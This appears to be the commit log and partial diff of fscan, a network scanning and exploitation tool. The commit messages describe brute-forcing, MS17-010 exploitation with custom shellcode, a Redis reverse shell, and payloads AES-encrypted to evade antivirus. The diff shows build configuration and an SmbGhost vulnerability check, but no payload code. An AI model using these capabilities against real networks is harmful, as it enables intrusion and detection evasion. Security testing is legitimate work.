270 Commits
Author SHA1 Message Date
影舞者 9ee51a96d8 Update release.yml 2024-12-19 23:09:06 +08:00
shadow1ng 3dfd2e9e30 update 2024-10-25 16:41:19 +08:00
shadow1ng d01df95dba update 2024-08-29 15:12:30 +08:00
shadow1ng 513bb93e1b update 2024-08-29 09:50:32 +08:00
shadow1ng e433c635dd GitHub action go-version: 1.20.14 2024-06-15 17:10:56 +08:00
shadow1ng 509f53f4b3 降级go-ora到v2.5.29,避免混淆工具编译失败 2024-05-27 16:00:33 +08:00
shadow1ng d470a91d55 优化报错处理 2024-05-11 16:09:14 +08:00
shadow1ng a11b769603 Merge remote-tracking branch 'origin/main' 2024-05-11 16:04:48 +08:00
shadow1ng 1d9b6528dd 优化报错处理 2024-05-11 16:04:02 +08:00
影舞者 0fd6658bce Merge pull request #341 from LI-Mingyu/main
Fix #334
2024-04-19 15:11:03 +08:00
Mingyu Li 15f3864db2 Fix #334
Fix #334 redis反弹shell在ubuntu系统下出现
`-ERR Changing directory: No such file or directory`
2024-04-18 01:24:15 +08:00
影舞者 eefd29d102 Merge pull request #329 from scyxdd/fix-webtitle
修复获取WebTitle的Bug
2024-01-15 16:31:14 +08:00
scyxdd 66671cd4cf 修复获取WebTitle的Bug 2024-01-15 16:22:40 +08:00
shadow1ng 19d969acd2 屏蔽go内部库报错日志 2023-12-25 17:57:28 +08:00
影舞者 276b446e0c Update 2023-11-15 12:07:25 +08:00
影舞者 15cdc19097 Update 2023-11-15 10:40:17 +08:00
影舞者 197b0884a1 Update 2023-11-15 00:02:28 +08:00
影舞者 0cf8b8c180 Update 2023-11-14 23:06:49 +08:00
影舞者 c5adbdb551 Update 2023-11-14 18:33:26 +08:00
影舞者 5dc1c4ee5e Update 2023-11-13 17:41:54 +08:00
影舞者 1c631133ad Update 2023-11-13 16:23:19 +08:00
影舞者 6bf396d09f Update 1.8.3 2023-11-13 12:42:02 +08:00
影舞者 7f7ae9dc65 Merge pull request #298 from a-urth/main
Add colored output
2023-11-13 11:59:44 +08:00
影舞者 b46090d196 Update check.go 2023-11-13 11:59:04 +08:00
影舞者 f51291512c Update check.go 2023-11-13 11:57:13 +08:00
影舞者 7eb2bccde7 Update check.go 2023-11-13 11:56:35 +08:00
影舞者 5cc16fe079 Update go.sum 2023-11-13 11:53:32 +08:00
影舞者 af1c30a86e Update go.mod 2023-11-13 11:53:08 +08:00
影舞者 2ca79f2979 Update README.md 2023-11-13 11:50:59 +08:00
影舞者 490a272e4b Update main.go 2023-11-13 11:48:21 +08:00
影舞者 362d23e577 Update config.go 2023-11-13 11:47:33 +08:00
影舞者 464128cdee Update proxy.go 2023-11-13 11:43:24 +08:00
影舞者 57eeb41453 Update flag.go 2023-11-13 11:42:04 +08:00
影舞者 989389fd52 Update log.go 2023-11-13 11:41:26 +08:00
影舞者 5d154ce6a1 Update ParseIP.go 2023-11-13 11:37:53 +08:00
影舞者 59983affb7 Update Parse.go 2023-11-13 11:36:13 +08:00
影舞者 29acfb166b Update eval.go 2023-11-13 11:34:42 +08:00
影舞者 53c1b3232a Update client.go 2023-11-13 11:34:23 +08:00
影舞者 608b2e2c87 Update client.go 2023-11-13 11:32:28 +08:00
影舞者 99d526d7d0 Update check.go 2023-11-13 11:31:30 +08:00
影舞者 5ff8b781c8 Update WebScan.go 2023-11-13 11:28:58 +08:00
影舞者 468381fb18 Update wmiexec.go 2023-11-13 11:28:15 +08:00
影舞者 268f7d2aed Update webtitle.go 2023-11-13 11:27:34 +08:00
影舞者 6cd1ee75f5 Update ssh.go 2023-11-13 11:27:01 +08:00
影舞者 29beca41d0 Update smb2.go 2023-11-13 11:24:44 +08:00
影舞者 dd1fc49f01 Update smb.go 2023-11-13 11:18:25 +08:00
影舞者 acd5a1a8bb Update scanner.go 2023-11-13 11:17:46 +08:00
影舞者 0d717d6676 Update redis.go 2023-11-13 11:16:12 +08:00
影舞者 52c680af0d Update postgres.go 2023-11-13 10:56:54 +08:00
影舞者 8bcbdf1f38 Update rdp.go 2023-11-13 10:56:24 +08:00
影舞者 21f9320ba8 Update portscan.go 2023-11-13 10:53:56 +08:00
影舞者 e2afd85cca Update oracle.go 2023-11-13 10:52:44 +08:00
影舞者 dc945ccf0e Update mysql.go 2023-11-13 10:52:11 +08:00
影舞者 54ba490246 Update mssql.go 2023-11-13 10:51:41 +08:00
影舞者 5e99a7910e Update ms17010.go 2023-11-13 10:50:59 +08:00
影舞者 d5afffafa2 Update ms17010-exp.go 2023-11-13 10:50:28 +08:00
影舞者 0efbd87920 Update mongodb.go 2023-11-13 10:48:18 +08:00
影舞者 88745f55a7 Update memcached.go 2023-11-13 10:47:36 +08:00
影舞者 9d02632dcc Update icmp.go 2023-11-13 10:45:48 +08:00
影舞者 dc0dd7a469 Update ftp.go 2023-11-13 10:43:11 +08:00
影舞者 1773fcbfcc Update findnet.go 2023-11-13 10:41:46 +08:00
影舞者 22d6e16785 Update fcgiscan.go 2023-11-13 10:40:04 +08:00
影舞者 afe9a0228f Update NetBIOS.go 2023-11-13 10:29:43 +08:00
影舞者 019544cd07 Update NetBIOS.go 2023-11-13 10:24:07 +08:00
影舞者 fddfd08d01 Update CVE-2020-0796.go 2023-11-13 10:22:32 +08:00
影舞者 8573f8c233 Merge pull request #303 from SleepingBag945/main
修复findnet中文主机名乱码
2023-11-13 10:02:36 +08:00
影舞者 9f12983f34 修复findnet中文主机名乱码 2023-11-13 10:02:12 +08:00
影舞者 eac7f93fcc 设置tls最低版本为1.0 2023-11-13 09:48:54 +08:00
影舞者 5242388522 Merge remote-tracking branch 'origin/main' 2023-11-13 09:45:59 +08:00
影舞者 79fa3a8920 设置tls最低版本为1.0 2023-11-13 09:45:39 +08:00
SleepingBag945 2d10162749 修复findnet中文主机名乱码 2023-08-28 03:58:19 +02:00
Andrii Ursulenko a2a4afc41d Merge pull request #2 from artemkomyshan/refactoring
Translation in main
2023-07-26 12:39:37 +03:00
ph 96b7a93034 Translation in main 2023-07-26 12:35:34 +03:00
Andrii Ursulenko 1e01f27a99 Merge pull request #1 from artemkomyshan/refactoring
Refactoring
2023-07-26 12:19:49 +03:00
ph 31aba615ba Merge remote-tracking branch 'au/main' into refactoring 2023-07-26 12:10:27 +03:00
Andrii Ursulenko 18937e1e4a add colored output 2023-07-18 13:43:11 +03:00
影舞者 4cc65afe14 Merge pull request #280 from dksslq/main
输出格式调整
2023-06-29 21:26:32 +08:00
dksslq 430e4e9640 Merge branch 'shadow1ng:main' into main 2023-06-29 21:08:50 +08:00
影舞者 1ce7f4e517 Merge pull request #292 from ruishawn/dev1
fix: add field names to struct literal
2023-06-28 16:48:06 +08:00
xiaobo 8a788427b7 fix: add field names to struct literal 2023-06-26 18:15:09 +08:00
noname 29b746ee80 flags to struct 2023-06-09 08:13:56 -04:00
au 04a7ba1357 initial cleanup 2023-06-05 19:02:55 +03:00
dksslq db38dbdcc7 Add space 2023-05-24 19:57:25 +08:00
dksslq f0cb31a6d2 Remove unused spaces 2023-05-24 19:53:17 +08:00
dksslq d151ea2c7f Remove unused space 2023-05-24 19:49:52 +08:00
dksslq 7bf79b60af Update NetBIOS.go 2023-05-24 19:44:42 +08:00
dksslq 5c119e97ae Add some spaces 2023-05-24 19:43:05 +08:00
影舞者 4cfe02ac2c Merge pull request #272 from wgpsec/main
修复自动化编译问题
2023-05-10 11:18:53 +08:00
影舞者 e14bc5ca14 Merge pull request #260 from Zh0um1/main
支持mongodb6.0未授权扫描
2023-05-10 11:18:30 +08:00
keacwu 857c4c0d4b 修复自动化编译问题 2023-05-09 13:42:17 +08:00
影舞者 58890cd5e6 update 2023-05-05 23:31:28 +08:00
影舞者 978511a7ef update 2023-05-05 21:02:31 +08:00
影舞者 c492386977 优化poc模块正则Set-Cookie时的结果 2023-05-05 18:13:33 +08:00
影舞者 98300cbc9c 优化poc模块正则Set-Cookie时的结果 2023-05-05 18:08:13 +08:00
影舞者 0f01d63d8a 优化poc模块正则Set-Cookie时的结果 2023-05-05 18:06:19 +08:00
影舞者 ecb0cd9e5f Merge pull request #265 from AgeloVito/main
Update eval.go
2023-02-22 16:29:41 +08:00
AgeloVito 7d77fa9016 Update eval.go
1、新增randomString,大小写和数字随机
2、修改randomUppercase(),变量命令不规范
2023-02-22 16:13:51 +08:00
Zh0um1 b401b896f4 支持mongodb6.0未授权扫描 2023-02-04 06:56:16 +00:00
影舞者 eb5558e6d9 Merge pull request #252 from ruishawn/dev2
fix: 精简打印日志模块冗余代码
2022-12-14 09:58:09 +08:00
影舞者 79d44e00b3 Merge pull request #254 from ruishawn/dev5
Doc: add English Readme
2022-12-14 09:56:39 +08:00
xiaobo ecc362d660 feat: add English Readme 2022-12-13 20:10:34 +08:00
xiaobo ccdaef3486 fix: 精简打印日志模块冗余代码 2022-12-13 17:13:31 +08:00
影舞者 abd2ba0947 update readme 2022-12-05 10:30:19 +08:00
影舞者 6c6f522bc9 修改文件保存路径设置 2022-11-30 10:49:02 +08:00
影舞者 27c7e3977e 修改文件保存路径设置 2022-11-28 13:23:24 +08:00
影舞者 f8b44e37ea update 2022-11-21 15:04:35 +08:00
影舞者 1d2fa6c470 Use aes encryption to store payloads to avoid AV detection 2022-11-21 11:33:02 +08:00
影舞者 384bb326c0 Use aes encryption to store payloads to avoid AV detection 2022-11-21 10:38:40 +08:00
影舞者 4c254b019a Merge pull request #237 from NKingpp/main
Use aes encryption to store payloads to avoid AV detection
2022-11-21 10:37:11 +08:00
影舞者 6e9b6cf2f6 Update ms17010.go 2022-11-21 10:36:11 +08:00
影舞者 1166e24092 Update ms17010-exp.go 2022-11-21 10:35:00 +08:00
影舞者 a9d05604f5 Merge remote-tracking branch 'origin/main' 2022-11-21 09:44:58 +08:00
影舞者 41f8d3abad 加入hash碰撞、wmiiexec无回显命令执行 2022-11-21 09:44:44 +08:00
影舞者 b1f550daaf update 2022-11-19 17:22:56 +08:00
影舞者 ae86f08432 Merge remote-tracking branch 'origin/main'
# Conflicts:
#	Plugins/webtitle.go
#	WebScan/WebScan.go
#	WebScan/pocs/Hotel-Internet-Manage-RCE.yml
2022-11-19 17:05:25 +08:00
影舞者 3e8f23466d 加入hash碰撞、wmiiexec无回显命令执行 2022-11-19 17:04:13 +08:00
影舞者 9d4d67e523 Merge pull request #240 from ruishawn/main
fix: 优化扫描输出,扫描结果结尾换行
2022-11-02 17:41:06 +08:00
xiaobo fc416545a3 fix: 优化扫描输出,扫描结果结尾换行 2022-11-02 17:29:12 +08:00
kingpp 769fc59fd1 Use aes encryption to store payloads to avoid AV detection 2022-10-22 10:55:44 +08:00
影舞者 38e48ba420 Merge pull request #225 from evilAdan0s/main
去除弱特征:过时UA头
2022-09-02 11:38:41 +08:00
影舞者 076e001217 Update tongda-meeting-unauthorized-access.yml 2022-09-02 11:37:51 +08:00
影舞者 f981cf22e8 Update Hotel-Internet-Manage-RCE.yml 2022-09-02 11:37:36 +08:00
evilAdan0s 2e46d1adb6 '替换过时的UA头' 2022-09-02 11:26:06 +08:00
影舞者 4908720acb socks代理时,自动-np 2022-08-16 15:10:09 +08:00
影舞者 98569648bb 增加-dns参数启用dnslog poc 2022-08-16 11:18:09 +08:00
影舞者 9b0f12c31a update go.mod 2022-08-01 14:19:55 +08:00
影舞者 e705b33830 update 2022-07-15 15:21:52 +08:00
影舞者 3f8fd82674 默认跳过dnslog的poc 2022-07-14 16:03:11 +08:00
影舞者 3ba0a2abd3 -hf 支持host:port和host/xx:port格式 2022-07-14 12:19:16 +08:00
影舞者 6f9e49a572 -hf 支持host:port和host/xx:port格式 2022-07-14 12:04:47 +08:00
影舞者 c717094158 update 2022-07-14 11:14:20 +08:00
影舞者 023fa19a48 rule.Search 正则匹配范围从body改成header+body 2022-07-11 16:50:32 +08:00
影舞者 ed96a8dd89 -nobr不再包含-nopoc.优化webtitle 输出格式 2022-07-11 14:38:47 +08:00
影舞者 45008bcbfc update 2022-07-07 15:06:54 +08:00
影舞者 740ce8552a update 2022-07-07 15:04:59 +08:00
影舞者 cd423c88d1 update reademe.md 2022-07-06 21:50:48 +08:00
影舞者 fe937ec056 update reademe.md 2022-07-06 21:48:49 +08:00
影舞者 30df6b651f 加入手工gc回收,尝试节省无用内存。
-url 支持逗号隔开。
修复一个poc模块bug。
2022-07-06 21:42:00 +08:00
影舞者 6e5642c508 update README.md 2022-07-05 12:59:23 +08:00
影舞者 2a6491808d update README.md 2022-07-05 12:50:28 +08:00
影舞者 0146a941cf update README.md 2022-07-05 12:49:04 +08:00
影舞者 67f30bf4e3 Merge pull request #197 from u21h2/main
使用毫秒作为随机数种子,避免生成的ceye子域名相同,导致反连平台误报
2022-07-03 23:53:47 +08:00
影舞者 f2239b6c9f 减少pocinfo结构体大小 2022-07-03 23:48:06 +08:00
影舞者 b9b5eb9ce4 减少info结构体大小 2022-07-03 23:41:39 +08:00
U21H2 4b596180a3 Update check.go
使用毫秒作为随机数种子,避免生成的ceye子域名相同
2022-07-03 23:07:25 +08:00
影舞者 8e1db5995e 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 2022-07-02 17:25:15 +08:00
影舞者 b1d85833a7 update 2022-06-26 19:54:38 +08:00
影舞者 fdffb369c9 update 2022-06-13 10:27:23 +08:00
影舞者 a2573e10bb Merge remote-tracking branch 'origin/main' 2022-05-26 11:28:35 +08:00
影舞者 198abff115 update 2022-05-26 11:23:19 +08:00
影舞者 cf9389e879 Merge pull request #174 from jindaxia/main
poc: add f5 big-ip cve-2022-1388 poc
2022-05-19 17:43:17 +08:00
jindaxia 85e636fcea fix: 修复2022-188的poc
header里面Connection属性keep-alive后面的逗号","
使得后面的x auth token字段解析出现错误, 从而绕过验证
2022-05-19 17:34:57 +08:00
jindaxia 2cef5c66d6 poc: add f5 big-ip cve-2022-1388 poc 2022-05-19 11:02:50 +08:00
影舞者 11fb239c61 update 2022-05-12 17:56:32 +08:00
影舞者 4915539fb3 fix bug 2022-05-12 11:56:01 +08:00
影舞者 55825f3b7c Merge pull request #170 from ccreater222/main
update proxy timeout
2022-05-09 14:52:55 +08:00
ccreater c67d09371f Merge branch 'main' of github.com:ccreater222/fscan 2022-05-09 13:27:25 +08:00
ccreater 9f27655182 beautify 2022-05-09 13:26:42 +08:00
影舞者 0b8c0ccc96 Update webtitle.go 2022-05-09 12:27:05 +08:00
影舞者 5bb7502ba3 Merge pull request #169 from ccreater222/main
添加了socks5支持
2022-05-09 12:11:09 +08:00
影舞者 ab60c985a6 Update client.go 2022-05-09 12:08:29 +08:00
ccreater 5c112e0ca8 fix bug 2022-05-08 02:19:41 +08:00
ccreater 6f15f835f0 handle error 2022-05-08 00:16:58 +08:00
ccreater d774023da7 add socks5 support 2022-05-07 23:46:22 +08:00
影舞者 df527adda9 -h 支持域名 2022-04-28 17:08:52 +08:00
影舞者 2d496cafc9 -h 支持域名 2022-04-28 17:02:48 +08:00
影舞者 584771114d add lock 2022-04-27 11:49:16 +08:00
影舞者 5dcb789e33 update image 2022-04-27 11:49:16 +08:00
影舞者 bb544cfbf3 update README.md 2022-04-21 09:56:07 +08:00
影舞者 c4950e2a93 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 2022-04-20 17:54:45 +08:00
影舞者 4c51ae1f2a poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 2022-04-20 17:45:27 +08:00
影舞者 d1ff89676d 取消webscan模块60s超时,减少漏报 2022-03-11 16:13:31 +08:00
影舞者 9527fcf0c7 update 2022-02-28 10:35:50 +08:00
影舞者 a01599ee7c 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito 2022-02-25 16:49:17 +08:00
影舞者 c64c64477b 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito 2022-02-25 15:29:45 +08:00
影舞者 2ebda8baa9 update webtitle 2022-02-17 14:37:06 +08:00
影舞者 ed99ee0fad add向日葵指纹 2022-02-16 16:48:02 +08:00
影舞者 0b8e1ddaf9 update 2022-02-11 09:30:50 +08:00
影舞者 ddf824b985 update 2022-02-09 10:09:41 +08:00
影舞者 8acb02dc30 update go.mod 2022-01-15 14:07:39 +08:00
影舞者 c594f9f350 update go.sum 2022-01-14 16:52:59 +08:00
影舞者 e24168e895 update go.mod 2022-01-13 13:38:53 +08:00
影舞者 3b23c93c35 新增oracle密码爆破 2022-01-11 10:30:00 +08:00
影舞者 c59a5c3553 新增oracle密码爆破 2022-01-11 10:26:06 +08:00
影舞者 6db53c8cea update 2022-01-10 23:15:40 +08:00
影舞者 ebf990eca0 update nobr 2022-01-10 16:48:28 +08:00
shadow1ng 9b6596315e update 2022-01-08 14:46:26 +08:00
shadow1ng bdeaae9dcf update webscan timeout 2022-01-08 13:31:52 +08:00
影舞者 a56144d84a update http 2022-01-07 17:58:34 +08:00
影舞者 49a3b94c53 update http 2022-01-07 17:45:13 +08:00
影舞者 c3fc054912 update http 2022-01-07 16:59:05 +08:00
影舞者 205021afec update http 2022-01-07 16:54:23 +08:00
影舞者 dbb6f43fc1 新增LiveTop功能,检测存活时,默认会输出top10的b、c段ip存活数量 2022-01-07 14:56:48 +08:00
影舞者 0b22898547 新增LiveTop功能,检测存活时,默认会输出top10的b、c段ip存活数量 2022-01-07 13:46:09 +08:00
影舞者 6ce60284bc 新增LiveTop功能,检测存活时,默认会输出top10的b、c段ip存活数量 2022-01-07 13:38:38 +08:00
影舞者 60cd94d459 ip/8时,只探测部分机器 2022-01-07 11:06:06 +08:00
影舞者 b80ea1316f ip/8时,只探测部分机器 2022-01-07 10:51:36 +08:00
影舞者 d1bcc60bcb updata go.sum 2021-12-08 16:45:51 +08:00
影舞者 17544b375b 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口) 2021-12-07 17:28:56 +08:00
影舞者 edb6920622 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口) 2021-12-07 17:20:49 +08:00
影舞者 e1a4bfabfc 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口) 2021-12-07 17:06:50 +08:00
影舞者 f71b4ab68f Merge pull request #121 from Dawnnnnnn/feature/add-upx-compress
feat(*): add `upx --best` for most elf
2021-12-07 14:50:47 +08:00
dawnnnnnn bd0bcb4b66 feat(*): add upx --best for most elf 2021-12-06 17:42:25 +08:00
影舞者 b93df1ab20 update readme 2021-12-03 10:58:47 +08:00
影舞者 dc634f9184 update 2021-12-03 10:21:47 +08:00
影舞者 e875f4f930 fix bug 2021-12-03 09:30:03 +08:00
影舞者 6807508b69 update 2021-12-01 15:25:09 +08:00
影舞者 4a34745091 优化ip解析模块 2021-12-01 15:22:48 +08:00
影舞者 e49e6dd433 增加爆破关闭参数 -nobr 2021-11-25 10:16:39 +08:00
影舞者 dd00ec7bac 优化xray解析模块,支持groups、新增poc 2021-11-16 15:04:53 +08:00
影舞者 b06d7ac94c 优化xray解析模块,支持groups、新增poc 2021-11-16 14:42:35 +08:00
影舞者 858c28724b Merge pull request #110 from Dawnnnnnn/function/goreleaser
新增Github-Action打包及一个敏感端口(10250)
2021-11-08 16:32:20 +08:00
dawnnnnnn e56713fdf0 feat(*): add k8s port 10250 scan 2021-11-08 15:03:55 +08:00
dawnnnnnn c4446ee357 ci(*): add goreleaser ci
support

windows-amd64/386
linux-amd64/386/arm64/mips64
darwin-amd64/arm64
etc.
2021-11-08 15:00:19 +08:00
影舞者 10d4b19897 Update ms17010.go 2021-10-14 15:51:52 +08:00
影舞者 21180c3da8 Update config.go 2021-10-13 09:39:58 +08:00
影舞者 30d1e6d9ca Update scanner.go 2021-10-13 09:36:10 +08:00
影舞者 e9292dc7ad update 2021-10-13 09:29:24 +08:00
影舞者 70f1c6bd71 Rename ms17017.go to ms17010.go 2021-10-11 18:09:32 +08:00
影舞者 5f981089a1 -hf ip.txt,遇到解析失败后进行跳过,代替原有的退出 2021-10-11 17:58:26 +08:00
影舞者 dc267a5335 添加功能,跳过某些ip扫描,-hn 192.168.1.1/24 2021-09-14 12:16:01 +08:00
影舞者 37f53e3f16 update 2021-09-13 17:19:36 +08:00
影舞者 734f8520fc update 2021-09-13 15:07:21 +08:00
影舞者 53df72db02 add zabbix-default-password.yml 2021-09-13 10:33:14 +08:00
影舞者 842ee37594 add License.txt 2021-09-12 14:38:28 +08:00
影舞者 b4e33c5127 update ParseUser() 2021-09-11 16:43:38 +08:00
影舞者 0733c10a05 加入https判断(tls握手包) 2021-09-10 22:43:50 +08:00
影舞者 297aba6c4f 更新指纹、优化内存占用 2021-09-10 21:07:50 +08:00
影舞者 d5665f03d6 更新指纹、优化内存占用 2021-09-10 20:32:51 +08:00
影舞者 2e452a9695 Merge pull request #94 from NAXG/main
修改拼写
2021-09-08 15:17:50 +08:00
影舞者 07633cb24d Merge pull request #92 from Richard-Tang/main
修改拼写
2021-09-08 15:09:58 +08:00
刘德华 5104cb9980 update ParseIP.go 2021-09-05 20:53:08 +08:00
RichardTang 24d8cc775c 修改拼写错误
SprintBoot拼写错误,修正为SpringBoot。
2021-09-01 22:53:10 +08:00
影舞者 922da8f168 Update ruijie-rce-cnvd-2021-09650.yml 2021-08-31 11:17:46 +08:00
影舞者 65df3de81d 添加免责声明 2021-08-30 15:18:05 +08:00
影舞者 71ff6e9a0c Update README.md 2021-08-06 13:34:55 +08:00
影舞者 dc949e25b1 Merge pull request #79 from lanyi1998/main
修复两个线程阻塞的问题
2021-07-20 11:31:46 +08:00
影舞者 6a4bbe3781 Update mongodb.go 2021-07-20 11:30:49 +08:00
影舞者 c322700c6d Update redis.go 2021-07-20 11:29:43 +08:00
影舞者 f64b185e6d Update mongodb.go 2021-07-20 11:25:25 +08:00
lanyi 71024954e2 fix bug 2021-07-20 10:20:41 +08:00
影舞者 1499c7253a Merge pull request #73 from IanSmith123/patch-1
update
2021-07-07 09:54:11 +08:00
shadow1ng d38e38e17a 更新指纹,修改poc的bug 2021-06-30 16:26:17 +08:00
Les1ie ddb5a9f228 fix: typo in flag usage string 2021-06-30 11:07:24 +08:00
影舞者 ceb585d018 Merge pull request #70 from canc3s/main
add weblogic-console-weak
2021-06-21 17:30:29 +08:00
canc3s 3d3ecac605 add weblogic-console-weak
add weblogic-console-weak
2021-06-21 17:22:27 +08:00
shadow1ng 1437ac60ff 增加2375端口,扫描docker未授权rce漏洞 2021-06-21 10:17:29 +08:00
shadow1ng c8ec4eab79 update README.md 2021-06-18 12:31:27 +08:00
shadow1ng 80fe8548c1 update icmp 2021-06-18 11:45:47 +08:00
shadow1ng ad1c53e3f4 更新poc 2021-06-18 10:30:01 +08:00
shadow1ng a8835a9fe4 Merge remote-tracking branch 'origin/main' into main 2021-06-18 09:57:27 +08:00
影舞者 db8acb2828 Merge pull request #67 from canc3s/main
改善了poc机制和修复bug

还改善了一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍
2021-06-18 09:46:54 +08:00
影舞者 288338bc9d Update go.sum 2021-06-18 09:45:13 +08:00
影舞者 0743e4cb68 Update check.go 2021-06-18 09:38:30 +08:00
影舞者 6cdf1e19dc Update go.mod 2021-06-18 09:37:23 +08:00
canc3s a427833e3f fix bug
改善了poc机制和修复bug
2021-06-17 20:32:53 +08:00
影舞者 d974523d88 Update ssh.go 2021-06-09 11:32:59 +08:00
shadow1ng c90c9272f0 update 2021-06-09 11:16:23 +08:00
影舞者 a9e78b6de3 Merge pull request #63 from 7ten7/dev
添加一个海康威视摄像头指纹
2021-06-08 11:32:54 +08:00
7TEN7 ca1e0c791c 添加一个海康威视摄像头指纹 2021-06-08 01:07:39 +08:00
shadow1ng 90ef895e0f ssh模块加入私钥连接 2021-05-31 10:03:01 +08:00
shadow1ng 162d1dd3a3 优化icmp模块 2021-05-29 20:16:01 +08:00
shadow1ng f3b0c4a6d2 update 2021-05-29 15:58:16 +08:00
shadow1ng 936c1f5395 update 2021-05-29 15:55:05 +08:00
shadow1ng 9d385eb26a 加入fcgi协议未授权命令执行扫描,优化poc模块 2021-05-29 12:13:10 +08:00
shadow1ng 61e814119d 修复ssh跳过问题 2021-05-27 14:19:21 +08:00
shadow1ng f5c9667f91 webtitle update 2021-05-20 09:34:27 +08:00
shadow1ng 4f3ff608ab webtitle模块加入chardet 2021-05-18 16:23:50 +08:00
shadow1ng 0dd41e2917 更新指纹 2021-05-16 10:47:29 +08:00
shadow1ng 7031d78439 update redeme.md 2021-05-15 11:54:17 +08:00
410 changed files with 26755 additions and 17893 deletions
+64
View File
@@ -0,0 +1,64 @@
before:
hooks:
- go mod tidy
builds:
-
id: default
env:
- CGO_ENABLED=0
goos:
- windows
- linux
- darwin
- freebsd
- solaris
goarch:
- amd64
- "386"
- arm
- arm64
- mips
- mipsle
- mips64
goarm:
- "6"
- "7"
flags:
- -trimpath
ldflags:
- -s -w
upx:
-
ids: [ default ]
enabled: true
goos: ["windows", "linux"]
goarch: ["amd64", "386"]
compress: best
# lzma: true
# brute: true
archives:
-
format: binary
allow_different_binary_count: true
name_template: >-
{{- .ProjectName }}
{{- if eq .Os "darwin"}}_mac
{{- else if eq .Os "linux"}}
{{- else if eq .Os "windows"}}
{{- else }}_{{ .Os }}{{ end }}
{{- if eq .Arch "amd64" }}
{{- else if eq .Arch "386" }}32
{{- else }}_{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end -}}
checksum:
name_template: 'checksums.txt'
snapshot:
name_template: "{{ incpatch .Version }}-next"
changelog:
sort: asc
filters:
exclude:
- '^docs:'
- '^test:'
- "^*.md"
- "^*.ya?ml"
+43
View File
@@ -0,0 +1,43 @@
name: goreleaser
on:
push:
tags:
- '*'
permissions:
contents: write
jobs:
goreleaser:
runs-on: ubuntu-latest
timeout-minutes: 60
steps:
- name: "Check out code"
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: "Set up Go"
uses: actions/setup-go@v4
with:
go-version: 1.20.14
-
name: Install UPX
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: UPX version
run: upx --version
-
name: "Create release on GitHub"
uses: goreleaser/goreleaser-action@v4
with:
distribution: goreleaser
version: latest
args: "release --clean -f .github/conf/.goreleaser.yml"
workdir: .
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+1
View File
@@ -0,0 +1 @@
result.txt
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 shadow1ng
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+9 -8
View File
@@ -3,7 +3,6 @@ package Plugins
import (
"bytes"
"fmt"
"net"
"time"
"github.com/shadow1ng/fscan/common"
@@ -96,17 +95,21 @@ const (
)
func SmbGhost(info *common.HostInfo) error {
if common.IsBrute {
return nil
}
err := SmbGhostScan(info)
return err
}
func SmbGhostScan(info *common.HostInfo) error {
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
addr := fmt.Sprintf("%s:%v", info.Host, port)
conn, err := net.DialTimeout("tcp", addr, timeout)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil {
return err
}
defer conn.Close()
_, err = conn.Write([]byte(pkt))
if err != nil {
return err
@@ -114,14 +117,12 @@ func SmbGhostScan(info *common.HostInfo) error {
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
if err != nil || n == 0 {
return err
}
defer conn.Close()
if bytes.Contains(buff[:n], []byte("Public")) == true {
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
}
return err
}
+281 -195
View File
@@ -2,262 +2,110 @@ package Plugins
import (
"bytes"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"gopkg.in/yaml.v3"
"net"
"strconv"
"strings"
"time"
)
var (
UNIQUE_NAMES = map[string]string{
"\x00": "Workstation Service",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "Server Service",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "Domain Name",
"\x1C": "Domain Controllers",
